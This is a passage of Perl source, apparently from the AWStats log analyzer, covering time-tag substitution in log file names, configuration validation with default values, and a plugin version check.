2438	my %MonthNumLibEn = (
2439		"01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
2440		"05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
2441		"09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
2442	);
2443
2444	while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
2445
2446		# Accept tag %xx-dd and %xx-(dd)
2447		my $timetag     = "$1";
2448		my $timephase   = quotemeta("$2");
2449		my $timephasenb = "$2";
2450		$timephasenb =~ s/[^\d]//g;
2451		if ($Debug) {
2452			debug(
2453" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",
2454				1
2455			);
2456		}
2457
2458		# Get older time
2459		my (
2460			$oldersec,   $oldermin,  $olderhour, $olderday,
2461			$oldermonth, $olderyear, $olderwday, $olderyday
2462		  )
2463		  = localtime( $starttime - ( $timephasenb * 3600 ) );
2464		my $olderweekofmonth = int( $olderday / 7 );
2465		my $olderweekofyear  =
2466		  int(
2467			( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
2468			  7 ) + 1;
2469		if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; }
2470		my $olderdaymod = $olderday % 7;
2471		$olderwday++;
2472		my $olderns =
2473		  Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear );
2474
2475		if ( $olderdaymod <= $olderwday ) {
2476			if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) {
2477				$olderweekofmonth = $olderweekofmonth + 1;
2478			}
2479		}
2480		if ( $olderdaymod > $olderwday ) {
2481			$olderweekofmonth = $olderweekofmonth + 2;
2482		}
2483
2484		# Change format of time variables
2485		$olderweekofmonth = "0$olderweekofmonth";
2486		if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; }
2487		if ( $olderyear < 100 ) { $olderyear += 2000; }
2488		else { $olderyear += 1900; }
2489		my $oldersmallyear = $olderyear;
2490		$oldersmallyear =~ s/^..//;
2491		if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; }
2492		if ( $olderday < 10 )     { $olderday   = "0$olderday"; }
2493		if ( $olderhour < 10 )    { $olderhour  = "0$olderhour"; }
2494		if ( $oldermin < 10 )     { $oldermin   = "0$oldermin"; }
2495		if ( $oldersec < 10 )     { $oldersec   = "0$oldersec"; }
2496
2497		# Replace tag with new value
2498		if ( $timetag eq 'YYYY' ) {
2499			$SourceString =~ s/%YYYY-$timephase/$olderyear/ig;
2500			next;
2501		}
2502		if ( $timetag eq 'YY' ) {
2503			$SourceString =~ s/%YY-$timephase/$oldersmallyear/ig;
2504			next;
2505		}
2506		if ( $timetag eq 'MM' ) {
2507			$SourceString =~ s/%MM-$timephase/$oldermonth/ig;
2508			next;
2509		}
2510		if ( $timetag eq 'MO' ) {
2511			$SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig;
2512			next;
2513		}
2514		if ( $timetag eq 'DD' ) {
2515			$SourceString =~ s/%DD-$timephase/$olderday/ig;
2516			next;
2517		}
2518		if ( $timetag eq 'HH' ) {
2519			$SourceString =~ s/%HH-$timephase/$olderhour/ig;
2520			next;
2521		}
2522		if ( $timetag eq 'NS' ) {
2523			$SourceString =~ s/%NS-$timephase/$olderns/ig;
2524			next;
2525		}
2526		if ( $timetag eq 'WM' ) {
2527			$SourceString =~ s/%WM-$timephase/$olderweekofmonth/g;
2528			next;
2529		}
2530		if ( $timetag eq 'Wm' ) {
2531			my $olderweekofmonth0 = $olderweekofmonth - 1;
2532			$SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g;
2533			next;
2534		}
2535		if ( $timetag eq 'WY' ) {
2536			$SourceString =~ s/%WY-$timephase/$olderweekofyear/g;
2537			next;
2538		}
2539		if ( $timetag eq 'Wy' ) {
2540			my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 );
2541			$SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g;
2542			next;
2543		}
2544		if ( $timetag eq 'DW' ) {
2545			$SourceString =~ s/%DW-$timephase/$olderwday/g;
2546			next;
2547		}
2548		if ( $timetag eq 'Dw' ) {
2549			my $olderwday0 = $olderwday - 1;
2550			$SourceString =~ s/%Dw-$timephase/$olderwday0/g;
2551			next;
2552		}
2553
2554		# If unknown tag
2555		error("Unknown tag '\%$timetag' in parameter.");
2556	}
2557
2558# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
2559	$SourceString =~ s/%YYYY/$nowyear/ig;
2560	$SourceString =~ s/%YY/$nowsmallyear/ig;
2561	$SourceString =~ s/%MM/$nowmonth/ig;
2562	$SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
2563	$SourceString =~ s/%DD/$nowday/ig;
2564	$SourceString =~ s/%HH/$nowhour/ig;
2565	$SourceString =~ s/%NS/$nowns/ig;
2566	$SourceString =~ s/%WM/$nowweekofmonth/g;
2567	my $nowweekofmonth0 = $nowweekofmonth - 1;
2568	$SourceString =~ s/%Wm/$nowweekofmonth0/g;
2569	$SourceString =~ s/%WY/$nowweekofyear/g;
2570	my $nowweekofyear0 = $nowweekofyear - 1;
2571	$SourceString =~ s/%Wy/$nowweekofyear0/g;
2572	$SourceString =~ s/%DW/$nowwday/g;
2573	my $nowwday0 = $nowwday - 1;
2574	$SourceString =~ s/%Dw/$nowwday0/g;
2575
2576	return $SourceString;
2577}
2578
2579#------------------------------------------------------------------------------
2580# Function:     Check if all parameters are correctly defined. If not set them to default.
2581# Parameters:	None
2582# Input:		All global variables
2583# Output:		Change on some global variables
2584# Return:		None
2585#------------------------------------------------------------------------------
2586sub Check_Config {
2587	if ($Debug) { debug("Call to Check_Config"); }
2588
2589	# Show initial values of main parameters before check
2590	if ($Debug) {
2591		debug( " LogFile='$LogFile'",           2 );
2592		debug( " LogType='$LogType'",           2 );
2593		debug( " LogFormat='$LogFormat'",       2 );
2594		debug( " LogSeparator='$LogSeparator'", 2 );
2595		debug( " DNSLookup='$DNSLookup'",       2 );
2596		debug( " DirData='$DirData'",           2 );
2597		debug( " DirCgi='$DirCgi'",             2 );
2598		debug( " DirIcons='$DirIcons'",         2 );
2599		debug( " NotPageList " .    ( join( ',', keys %NotPageList ) ),    2 );
2600		debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 );
2601		debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 );
2602		debug( " UseFramesWhenCGI=$UseFramesWhenCGI",     2 );
2603		debug( " BuildReportFormat=$BuildReportFormat",   2 );
2604		debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
2605		debug(
2606			" URLWithQueryWithOnlyFollowingParameters="
2607			  . ( join( ',', @URLWithQueryWithOnly ) ),
2608			2
2609		);
2610		debug(
2611			" URLWithQueryWithoutFollowingParameters="
2612			  . ( join( ',', @URLWithQueryWithout ) ),
2613			2
2614		);
2615	}
2616
2617	# Main section
2618	$LogFile = &Substitute_Tags($LogFile);
2619	if ( !$LogFile ) {
2620		error("LogFile parameter is not defined in config/domain file");
2621	}
2622	if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; }
2623	$LogFormat =~ s/\\//g;
2624	if ( !$LogFormat ) {
2625		error("LogFormat parameter is not defined in config/domain file");
2626	}
2627	if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
2628		error(
2629"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
2630		);
2631	}
2632	$LogSeparator ||= "\\s";
2633	$DirData      ||= '.';
2634	$DirCgi       ||= '/cgi-bin';
2635	$DirIcons     ||= '/icon';
2636	if ( $DNSLookup !~ /[0-2]/ ) {
2637		error(
2638"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
2639		);
2640	}
2641	if ( !$SiteDomain ) {
2642		error(
2643"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
2644		);
2645	}
2646	if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
2647		$AllowToUpdateStatsFromBrowser = 0;
2648	}
2649	if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; }
2650
2651	# Optional setup section
2652	if ( !$SectionsToBeSaved )             { $SectionsToBeSaved   = 'all'; }
2653	if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; }
2654	$DNSStaticCacheFile     ||= 'dnscache.txt';
2655	$DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
2656	if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
2657		error(
2658"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
2659		);
2660	}
2661	if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
2662		$AllowAccessFromWebToAuthenticatedUsersOnly = 0;
2663	}
2664	if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) {
2665		$CreateDirDataIfNotExists = 0;
2666	}
2667	if ( $BuildReportFormat !~ /html|xhtml|xml/i ) {
2668		$BuildReportFormat = 'html';
2669	}
2670	if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; }
2671	if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) {
2672		$SaveDatabaseFilesWithPermissionsForEveryone = 0;
2673	}
2674	if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; }
2675	if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) {
2676		$KeepBackupOfHistoricFiles = 0;
2677	}
2678	$DefaultFile[0] ||= 'index.html';
2679	if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) {
2680		$AuthenticatedUsersNotCaseSensitive = 0;
2681	}
2682	if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; }
2683	if ( $URLWithAnchor !~ /[0-1]/ )       { $URLWithAnchor       = 0; }
2684	$URLQuerySeparators =~ s/\s//g;
2685	if ( !$URLQuerySeparators )             { $URLQuerySeparators   = '?;'; }
2686	if ( $URLWithQuery !~ /[0-1]/ )         { $URLWithQuery         = 0; }
2687	if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; }
2688	if ( $WarningMessages !~ /[0-1]/ )      { $WarningMessages      = 1; }
2689	if ( $DebugMessages !~ /[0-1]/ )        { $DebugMessages        = 0; }
2690
2691	if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 )
2692	{
2693		$NbOfLinesForCorruptedLog = 50;
2694	}
2695	if ( $Expires !~ /^\d+/ )   { $Expires  = 0; }
2696	if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; }
2697	$MiscTrackerUrl ||= '/js/awstats_misc_tracker.js';
2698
2699	# Optional accuracy setup section
2700	if ( $LevelForWormsDetection !~ /^\d+/ )  { $LevelForWormsDetection  = 0; }
2701	if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; }
2702	if ( $LevelForBrowsersDetection !~ /^\w+/ ) {
2703		$LevelForBrowsersDetection = 2;
2704	}    # Can be 'allphones'
2705	if ( $LevelForOSDetection !~ /^\d+/ )    { $LevelForOSDetection    = 2; }
2706	if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; }
2707	if ( $LevelForFileTypesDetection !~ /^\d+/ ) {
2708		$LevelForFileTypesDetection = 2;
2709	}
2710	if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) {
2711		$LevelForSearchEnginesDetection = 2;
2712	}
2713	if ( $LevelForKeywordsDetection !~ /^\d+/ ) {
2714		$LevelForKeywordsDetection = 2;
2715	}
2716
2717	# Optional extra setup section
2718	foreach my $extracpt ( 1 .. @ExtraName - 1 ) {
2719		if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
2720			$ExtraStatTypes[$extracpt] = 'PHBL';
2721		}
2722		if (   $MaxNbOfExtra[$extracpt] !~ /^\d+$/
2723			|| $MaxNbOfExtra[$extracpt] < 0 )
2724		{
2725			$MaxNbOfExtra[$extracpt] = 20;
2726		}
2727		if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 )
2728		{
2729			$MinHitExtra[$extracpt] = 1;
2730		}
2731		if ( !$ExtraFirstColumnValues[$extracpt] ) {
2732			error(
2733"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
2734			);
2735		}
2736		if ( !$ExtraFirstColumnFormat[$extracpt] ) {
2737			$ExtraFirstColumnFormat[$extracpt] = '%s';
2738		}
2739	}
2740
2741	# Optional appearance setup section
2742	if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) {
2743		$MaxRowsInHTMLOutput = 1000;
2744	}
2745	if ( $ShowMenu !~ /[01]/ )            { $ShowMenu       = 1; }
2746	if ( $ShowSummary !~ /[01UVPHB]/ )    { $ShowSummary    = 'UVPHB'; }
2747	if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; }
2748	if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) {
2749		$ShowDaysOfMonthStats = 'VPHB';
2750	}
2751	if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; }
2752	if ( $ShowHoursStats !~ /[01PHBL]/ )      { $ShowHoursStats      = 'PHBL'; }
2753	if ( $ShowDomainsStats !~ /[01PHB]/ )     { $ShowDomainsStats    = 'PHB'; }
2754	if ( $ShowHostsStats !~ /[01PHBL]/ )      { $ShowHostsStats      = 'PHBL'; }
2755
2756	if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) {
2757		$ShowAuthenticatedUsers = 0;
2758	}
2759	if ( $ShowRobotsStats !~ /[01HBL]/ )     { $ShowRobotsStats     = 'HBL'; }
2760	if ( $ShowWormsStats !~ /[01HBL]/ )      { $ShowWormsStats      = 'HBL'; }
2761	if ( $ShowEMailSenders !~ /[01HBML]/ )   { $ShowEMailSenders    = 0; }
2762	if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers  = 0; }
2763	if ( $ShowSessionsStats !~ /[01]/ )      { $ShowSessionsStats   = 1; }
2764	if ( $ShowPagesStats !~ /[01PBEX]/i )    { $ShowPagesStats      = 'PBEX'; }
2765	if ( $ShowFileTypesStats !~ /[01HBC]/ )  { $ShowFileTypesStats  = 'HB'; }
2766	if ( $ShowDownloadsStats !~ /[01HB]/ )   { $ShowDownloadsStats  = 'HB';}
2767	if ( $ShowFileSizesStats !~ /[01]/ )     { $ShowFileSizesStats  = 1; }
2768	if ( $ShowOSStats !~ /[01]/ )            { $ShowOSStats         = 1; }
2769	if ( $ShowBrowsersStats !~ /[01]/ )      { $ShowBrowsersStats   = 1; }
2770	if ( $ShowScreenSizeStats !~ /[01]/ )    { $ShowScreenSizeStats = 0; }
2771	if ( $ShowOriginStats !~ /[01PH]/ )      { $ShowOriginStats     = 'PH'; }
2772	if ( $ShowKeyphrasesStats !~ /[01]/ )    { $ShowKeyphrasesStats = 1; }
2773	if ( $ShowKeywordsStats !~ /[01]/ )      { $ShowKeywordsStats   = 1; }
2774	if ( $ShowClusterStats !~ /[01PHB]/ )    { $ShowClusterStats    = 0; }
2775	if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats       = 'a'; }
2776	if ( $ShowHTTPErrorsStats !~ /[01]/ )    { $ShowHTTPErrorsStats = 1; }
2777	if ( $ShowHTTPErrorsPageDetail !~ /[RH]/ ) { $ShowHTTPErrorsPageDetail = 'R'; }
2778	if ( $ShowSMTPErrorsStats !~ /[01]/ )    { $ShowSMTPErrorsStats = 0; }
2779	if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; }
2780
2781	if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) {
2782		$AddDataArrayShowDaysOfMonthStats = 1;
2783	}
2784	if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) {
2785		$AddDataArrayShowDaysOfWeekStats = 1;
2786	}
2787	if ( $AddDataArrayShowHoursStats !~ /[01]/ ) {
2788		$AddDataArrayShowHoursStats = 1;
2789	}
2790	my @maxnboflist = (
2791		'Domain',           'HostsShown',
2792		'LoginShown',       'RobotShown',
2793		'WormsShown',       'PageShown',
2794		'OsShown',          'BrowsersShown',
2795		'ScreenSizesShown', 'RefererShown',
2796		'KeyphrasesShown',  'KeywordsShown',
2797		'EMailsShown',		'DownloadsShown'
2798	);
2799	my @maxnboflistdefaultval =
2800	  ( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
2801	foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
2802		if (   !$MaxNbOf{ $maxnboflist[$i] }
2803			|| $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
2804			|| $MaxNbOf{ $maxnboflist[$i] } < 1 )
2805		{
2806			$MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
2807		}
2808	}
2809	my @minhitlist = (
2810		'Domain',     'Host',  'Login',     'Robot',
2811		'Worm',       'File',  'Os',        'Browser',
2812		'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
2813		'EMail',	  'Downloads'
2814	);
2815	my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
2816	foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
2817		if (   !$MinHit{ $minhitlist[$i] }
2818			|| $MinHit{ $minhitlist[$i] } !~ /^\d+$/
2819			|| $MinHit{ $minhitlist[$i] } < 1 )
2820		{
2821			$MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
2822		}
2823	}
2824	if ( $FirstDayOfWeek !~ /[01]/ )   { $FirstDayOfWeek   = 1; }
2825	if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; }
2826	if ( $DetailedReportsOnNewWindows !~ /[012]/ ) {
2827		$DetailedReportsOnNewWindows = 1;
2828	}
2829	if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; }
2830	if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) {
2831		$MaxLengthOfShownURL = 64;
2832	}
2833	if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; }
2834	$Logo     ||= 'awstats_logo6.png';
2835	$LogoLink ||= 'http://www.awstats.org';
2836	if ( $BarWidth !~ /^\d+/  || $BarWidth < 1 )  { $BarWidth  = 260; }
2837	if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; }
2838	$color_Background =~ s/#//g;
2839	if ( $color_Background !~ /^[0-9|A-H]+$/i ) {
2840		$color_Background = 'FFFFFF';
2841	}
2842	$color_TableBGTitle =~ s/#//g;
2843
2844	if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) {
2845		$color_TableBGTitle = 'CCCCDD';
2846	}
2847	$color_TableTitle =~ s/#//g;
2848	if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) {
2849		$color_TableTitle = '000000';
2850	}
2851	$color_TableBG =~ s/#//g;
2852	if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; }
2853	$color_TableRowTitle =~ s/#//g;
2854	if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) {
2855		$color_TableRowTitle = 'FFFFFF';
2856	}
2857	$color_TableBGRowTitle =~ s/#//g;
2858	if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) {
2859		$color_TableBGRowTitle = 'ECECEC';
2860	}
2861	$color_TableBorder =~ s/#//g;
2862	if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) {
2863		$color_TableBorder = 'ECECEC';
2864	}
2865	$color_text =~ s/#//g;
2866	if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; }
2867	$color_textpercent =~ s/#//g;
2868	if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) {
2869		$color_textpercent = '606060';
2870	}
2871	$color_titletext =~ s/#//g;
2872	if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; }
2873	$color_weekend =~ s/#//g;
2874	if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; }
2875	$color_link =~ s/#//g;
2876	if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; }
2877	$color_hover =~ s/#//g;
2878	if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; }
2879	$color_other =~ s/#//g;
2880	if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; }
2881	$color_u =~ s/#//g;
2882	if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; }
2883	$color_v =~ s/#//g;
2884	if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; }
2885	$color_p =~ s/#//g;
2886	if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; }
2887	$color_h =~ s/#//g;
2888	if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; }
2889	$color_k =~ s/#//g;
2890	if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; }
2891	$color_s =~ s/#//g;
2892	if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; }
2893	$color_e =~ s/#//g;
2894	if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; }
2895	$color_x =~ s/#//g;
2896	if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; }
2897
2898	# Correct param if default value is asked
2899	if ( $ShowSummary            eq '1' ) { $ShowSummary            = 'UVPHB'; }
2900	if ( $ShowMonthStats         eq '1' ) { $ShowMonthStats         = 'UVPHB'; }
2901	if ( $ShowDaysOfMonthStats   eq '1' ) { $ShowDaysOfMonthStats   = 'VPHB'; }
2902	if ( $ShowDaysOfWeekStats    eq '1' ) { $ShowDaysOfWeekStats    = 'PHBL'; }
2903	if ( $ShowHoursStats         eq '1' ) { $ShowHoursStats         = 'PHBL'; }
2904	if ( $ShowDomainsStats       eq '1' ) { $ShowDomainsStats       = 'PHB'; }
2905	if ( $ShowHostsStats         eq '1' ) { $ShowHostsStats         = 'PHBL'; }
2906	if ( $ShowEMailSenders       eq '1' ) { $ShowEMailSenders       = 'HBML'; }
2907	if ( $ShowEMailReceivers     eq '1' ) { $ShowEMailReceivers     = 'HBML'; }
2908	if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; }
2909	if ( $ShowRobotsStats        eq '1' ) { $ShowRobotsStats        = 'HBL'; }
2910	if ( $ShowWormsStats         eq '1' ) { $ShowWormsStats         = 'HBL'; }
2911	if ( $ShowPagesStats         eq '1' ) { $ShowPagesStats         = 'PBEX'; }
2912	if ( $ShowFileTypesStats     eq '1' ) { $ShowFileTypesStats     = 'HB'; }
2913	if ( $ShowDownloadsStats     eq '1' ) { $ShowDownloadsStats     = 'HB';}
2914	if ( $ShowOriginStats        eq '1' ) { $ShowOriginStats        = 'PH'; }
2915	if ( $ShowClusterStats       eq '1' ) { $ShowClusterStats       = 'PHB'; }
2916	if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; }
2917
2918# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
2919	foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2920		my $part = 0;
2921		foreach my $conditioncouple (
2922			split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
2923		{
2924			my ( $conditiontype, $conditiontypeval ) =
2925			  split( /[,:]/, $conditioncouple, 2 );
2926			$ExtraConditionType[$extranum][$part] = $conditiontype;
2927			if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) {
2928				$conditiontypeval = $1;
2929			}
2930
2931			#else { $conditiontypeval=quotemeta($conditiontypeval); }
2932			$ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i;
2933			$part++;
2934		}
2935		$part = 0;
2936		foreach my $rowkeycouple (
2937			split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
2938		{
2939			my ( $rowkeytype, $rowkeytypeval ) =
2940			  split( /[,:]/, $rowkeycouple, 2 );
2941			$ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype;
2942			if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; }
2943
2944			#else { $rowkeytypeval=quotemeta($rowkeytypeval); }
2945			$ExtraFirstColumnValuesTypeVal[$extranum][$part] =
2946			  qr/$rowkeytypeval/i;
2947			$part++;
2948		}
2949	}
2950
2951	# Show definitive value for major parameters
2952	if ($Debug) {
2953		debug( " LogFile='$LogFile'",               2 );
2954		debug( " LogFormat='$LogFormat'",           2 );
2955		debug( " LogSeparator='$LogSeparator'",     2 );
2956		debug( " DNSLookup='$DNSLookup'",           2 );
2957		debug( " DirData='$DirData'",               2 );
2958		debug( " DirCgi='$DirCgi'",                 2 );
2959		debug( " DirIcons='$DirIcons'",             2 );
2960		debug( " SiteDomain='$SiteDomain'",         2 );
2961		debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 );
2962		foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); }
2963		foreach ( keys %MinHit )  { debug( " MinHit{$_}=$MinHit{$_}",   2 ); }
2964
2965		foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2966			debug(
2967				" ExtraCodeFilter[$extranum] is array "
2968				  . join( ',', @{ $ExtraCodeFilter[$extranum] } ),
2969				2
2970			);
2971			debug(
2972				" ExtraConditionType[$extranum] is array "
2973				  . join( ',', @{ $ExtraConditionType[$extranum] } ),
2974				2
2975			);
2976			debug(
2977				" ExtraConditionTypeVal[$extranum] is array "
2978				  . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
2979				2
2980			);
2981			debug(
2982				" ExtraFirstColumnFunction[$extranum] is array "
2983				  . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
2984				2
2985			);
2986			debug(
2987				" ExtraFirstColumnValuesType[$extranum] is array "
2988				  . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
2989				2
2990			);
2991			debug(
2992				" ExtraFirstColumnValuesTypeVal[$extranum] is array "
2993				  . join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
2994				2
2995			);
2996		}
2997	}
2998
2999# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
3000	if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
3001		error(
3002"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
3003		);
3004	}
3005
3006	# Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
3007	if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
3008		error(
3009"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
3010		);
3011	}
3012
3013  # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
3014	if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
3015		error(
3016"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
3017		);
3018	}
3019
3020	# If not a migrate, check if DirData is OK
3021	if ( !$MigrateStats && !-d $DirData ) {
3022		if ($CreateDirDataIfNotExists) {
3023			if ($Debug) { debug( " Make directory $DirData", 2 ); }
3024			my $mkdirok = mkdir "$DirData", 0766;
3025			if ( !$mkdirok ) {
3026				error(
3027"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
3028				);
3029			}
3030		}
3031		else {
3032			error(
3033"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
3034			);
3035		}
3036	}
3037
3038	if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; }
3039}
3040
3041#------------------------------------------------------------------------------
3042# Function:     Common function used by init function of plugins
3043# Parameters:	AWStats version required by plugin
3044# Input:		$VERSION
3045# Output:		None
3046# Return: 		'' if ok, "Error: xxx" if error
3047#------------------------------------------------------------------------------
3048sub Check_Plugin_Version {
3049	my $PluginNeedAWStatsVersion = shift;
3050	if ( !$PluginNeedAWStatsVersion ) { return 0; }
3051	$VERSION =~ /^(\d+)\.(\d+)/;
3052	my $numAWStatsVersion = ( $1 * 1000 ) + $2;
3053	$PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
3054	my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2;
3055	if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) {
3056		return
3057"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
3058	}
3059	return '';
3060}
3061
3062#------------------------------------------------------------------------------
3063# Function:     Return a checksum for an array of string
3064# Parameters:	Array of string
3065# Input:		None
3066# Output:		None
3067# Return: 		Checksum number
3068#------------------------------------------------------------------------------
3069sub CheckSum {
3070	my $string   = shift;
3071	my $checksum = 0;
3072
3073	#	use MD5;
3074	# 	$checksum = MD5->hexhash($string);
3075	my $i = 0;
3076	my $j = 0;
